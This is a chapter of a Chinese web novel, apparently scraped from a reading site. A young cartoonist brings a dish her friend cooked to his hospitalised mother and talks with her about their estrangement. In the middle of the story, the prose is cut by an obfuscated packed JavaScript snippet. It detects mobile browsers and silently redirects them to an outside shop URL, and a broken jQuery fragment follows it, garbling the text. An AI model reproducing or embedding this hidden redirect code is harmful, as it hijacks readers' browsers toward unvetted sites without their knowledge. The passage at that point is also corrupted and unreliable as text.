沈湘暖找出杨冰的采访视频仔细查看。
确实是杨冰。
这是她第一次实际见到杨冰。
只不过,杨冰和视频里神采奕奕的样子完全不同,看起来很低落。
不仅是回忆时很低落,一开始回答大妈问题时看起来也心事重重。
应该是受正阳山的事情影响的吧。
当老板,也不容易。
杨冰坐在站台的椅子上。
记忆被眼前呼啸而过的地铁带回从前。
她想起父亲在病床前听她和周卫平汇报公司情况。
想起父亲说公司有他们二人打理十分放心。
想起父亲叮嘱她和周卫平要好好过日子。
想起父亲说他即便走了也没什么放心不下的。
想起父亲说生死乃是人间常事,不用悲伤。
想起父亲在弥留之际的样子,想起父亲抢救。
眼泪簌簌落下,红了整个眼眶,杨冰坐在地铁站台的椅子上,几度伸手抹去眼泪。
周三。
沈湘暖站在厨房里,旁边还站着黎思洋。
“做好了。”
今天教黎思洋做的是黄焖鸡。
黎思洋尝了一块:“好吃,和外面卖的一个味道。”
沈湘暖心不在焉地吃了一块,再次问道:“你真的不用去医院吗?”
“不用,已经说好了,有护工,而且,今晚她的结婚对象会从国外赶来。”
黎思洋语气平常,仿佛像在说着别人家的事。
可她总感觉,不应该这样。
黎思洋似乎,不是真的开心。
想了想,沈湘暖换了种说法:“黎思洋,你把这份黄焖鸡给她送去怎么样?”
黎思洋双眸直视她,没想到她会这么说。
“你妈妈没给你做过多少饭,你现在学会做饭给她送去,就当是偿还她抚养你的恩情,也让事情有个了结。”
否则,爱恨总是算不清,总是在纠葛。
等黎思洋妈妈一出国,更不好弄。
她不想他留任何遗憾。
黎思洋被她的话触动:“是该有个了结,可我不知道怎么拿着这份饭面对她。”
和她说这是特意做给你吃的?还是说从此以后恩怨已消?
他们母子没有这么亲密过。
这两天在医院里的相处已经使他十分不适应,更别提让他送自己做好的饭。
沈湘暖低眸想了下:“那我去送。”
二人来到医院。
沈湘暖说道:“有什么要我带的话吗?”
黎思洋沉默半晌:“没有。”
“那我去了。”沈湘暖转身要走,黎思洋突然开口,“快去快回。”
“嗯。”沈湘暖笑了一下。
来到住院部,沈湘暖拎着饭走在楼道里,快到病房门口时。
一对老夫妻不小心撞了她肩膀一下,沈湘暖被撞得差点撞到墙上,捂着肩膀,表情看起来痛极了。
“对不起,对不起。”
丈夫穿着病号服,妻子扶着丈夫,妻子连连道歉。
“没事。”沈湘暖笑了下,仍旧捂着肩膀。
老夫妻往前走去。
沈湘暖来到病房门口。
这一下还真挺疼,她揉着肩膀,一个中年男人的声音从屋里传来:“收购明天就开始了。”
“那就好。”一个有些虚弱的女声传来。
黎思洋妈妈?
不愧是做食品的大企业,说的都是收购这些东西,她都没听过。
屋内没了声音。
又揉了一会儿,沈湘暖这才敲门,一阵脚步声传来,门打开后,一个中年男人出现在眼前。
白衬衣黑裤子,脚踩一双锃亮的皮鞋,看上去50岁出头,脸上挂着一副黑框眼镜。
人微胖,却很有派头,一看就是个领导。
“您好,我是阿姨儿子的朋友,替她儿子送饭来的。”
“你好。”男人马上回话,转身看向黎思洋妈妈。
得到允许后,沈湘暖踏入病房。
黎思洋妈妈映入她的眼帘。
她躺在床上,脸色看起来比手术那天好多了,但还是很苍白。
让沈湘暖惊叹的是,黎思洋妈妈好年轻。
按照黎思洋的年纪计算,他妈妈应该有50多岁了,可病床上的女人看起来也就不到40岁。
这种状况下也能看出她皮肤白皙,优雅美丽。
“阿姨您好。”
黎思洋妈妈笑了下,脸上仍有憔悴:“你好。”
男人走过来和黎思洋妈妈说道:“那我先走了,护工一会儿就回来。”
男人亲昵地摸了下女人的头发,黎思洋妈妈笑了下,眼神明亮。
举手投足间尽是小女人的幸福模样。
男人对沈湘暖说道:“我还有事,先走了,你们聊。”
“好,再见。”
“再见。”
病房门被关上。
黎思洋妈妈望向沈湘暖:“坐。”
沈湘暖坐到椅子上,把书包放到桌上。
“你是思洋的女朋友吧?”女人虚弱地开口。
犹豫片刻后,沈湘暖说道:“是。”
她不想耗费一个病人的精力去听她解释二人的关系。
她和黎思洋的关系,她自己都没法定义。又怎么向他妈妈解释?
黎思洋妈妈说道:“我还是第一次见他交女朋友。”
沈湘暖笑了下。
“你是做什么的,和他是同行吗?”
“不是,我是画漫画的。”
黎思洋妈妈愣怔了一瞬,眼睛亮起来:“你是画画的?”
“是。”
黎思洋妈妈的反应有些出乎她的意料,周围上了年纪的人听到她是画画的,通常都不能理解。
基本都是出于礼貌,无关痛痒的说一句:“哦,那挺好的,是画家呀。”
黎思洋妈妈垂了下眼眸:“我年轻时也学过画画,后来没再坚持。”
“您学过画画?”
黎思洋妈妈这个年纪的人居然学过画画?
这个年纪学过画画的人很少,周总这种人毕竟是少数。
不过黎思洋家里条件好,这事放在他们家倒也不稀奇。
黎思洋妈妈嗯了一声,没再多言,但看向沈湘暖的目光中多了几分柔和。
沈湘暖想起此行的目的,拿出书包里的饭盒。
“阿姨,这是黎思洋做的饭,他亲手做的,您尝一尝吧。”
黎思洋妈妈再度愣怔:“他不会做饭,一做饭就食物中毒,后来就没再做过。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900830|210293||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
沈湘暖笑了下:“现在好了。”
“好了?”女人惊讶地问道。
“他只是有心理问题,一做饭就会触发以前的回忆。”
沈湘暖尽量说得委婉,不想刺激黎思洋妈妈。
女人闻言思索一阵,明白过来后自嘲地笑了起来:“看来是我给他的压力太大了,他很恨我吧。”
沈湘暖眸色一沉,望着眼前这个女人,想尽可能为黎思洋诉说苦衷,也想弄清楚她到底是一个怎样的人、怎样的母亲。
把饭盒放到桌上,沈湘暖开口说道:“黎思洋给我讲过西红柿炒鸡蛋的故事。”
“他上小学时,同学们争论西红柿炒鸡蛋是甜的还是咸的,问他时,他说不上来,因为,家里没有这种味道。”
黎思洋妈妈眼皮抖了抖。
“他同学家长问您是不是真的不做饭,您回家后批评他,觉得他在外说这些话让您难堪,其实,被同学包围问话的人是他。”
“他觉得,在家里不给他做饭的是您,在外面,他又要因为这件事被嘲笑,最后,到了您这,挨数落的还是他。”
“这件事只是一个缩影,他觉得您很少做饭,只顾着工作,觉得您后悔生下他,或者说,只是不想落后于人,完成任务才生下他。”
黎思洋妈妈情绪激动起来:“怎么可能,哪个女人为了完成任务忍受十月怀胎生孩子,又有哪个女人能够忍受十几年孤儿寡母的生活,就怕他受委屈。”
黎思洋妈妈眼眶红了。
沈湘暖沉默了一会,等黎思洋妈妈平复好情绪。
“那出国呢?”
“我……”黎思洋妈妈嘴张了几次,没把话说出口,最后才说道,“我想带他走,我提出来带他走,他不肯去。”
黎思洋妈妈眼里的愧疚与尴尬尽数被沈湘暖收于眼底。
沈湘暖的手握紧,手指甲深深陷入掌心。
结合这几天的猜想,她看出了黎思洋妈妈的想法。
她的感情不全部是虚情,绝对有真心。
但是,亲情里一点点假意就足以在一个孩子的心灵造成创伤。
“阿姨,如果现在黎思洋要跟你走呢?”
闻言,病床上的女人先是惊讶,再流露出一丝欣喜,最后眼睛瞥向别处,满是犹疑与考虑。
沈湘暖心里暗自呵了一声,看来黎思洋说的没错。
她的确是要抛弃黎思洋了。
沈湘暖拿起饭盒打开:“阿姨,吃饭吧,这是黎思洋亲手做的。”
黎思洋妈妈闻言望向饭盒,眼里有着愧疚:“这是他让你送来的?”
“嗯。”
黎思洋同意送来也算是他让她送来的。
不管怎样,她不想在母子二人之间做扣,想尽可能缓解他们母子的关系。
“麻烦扶我起来。”
沈湘暖扶起女人,把枕头垫在她身后。
“谢谢。”
“不客气。”
黎思洋妈妈坐起来后才看清饭盒里的菜。
黄焖鸡和米饭。
“他都会做这么复杂的菜了,我都不会。”
黎思洋妈妈苦笑了一下,夹起一块土豆吃起来。
嘴里很苦,但能吃出土豆做得很好吃,软糯可口。
“是你教他做的?”女人抬眸询问。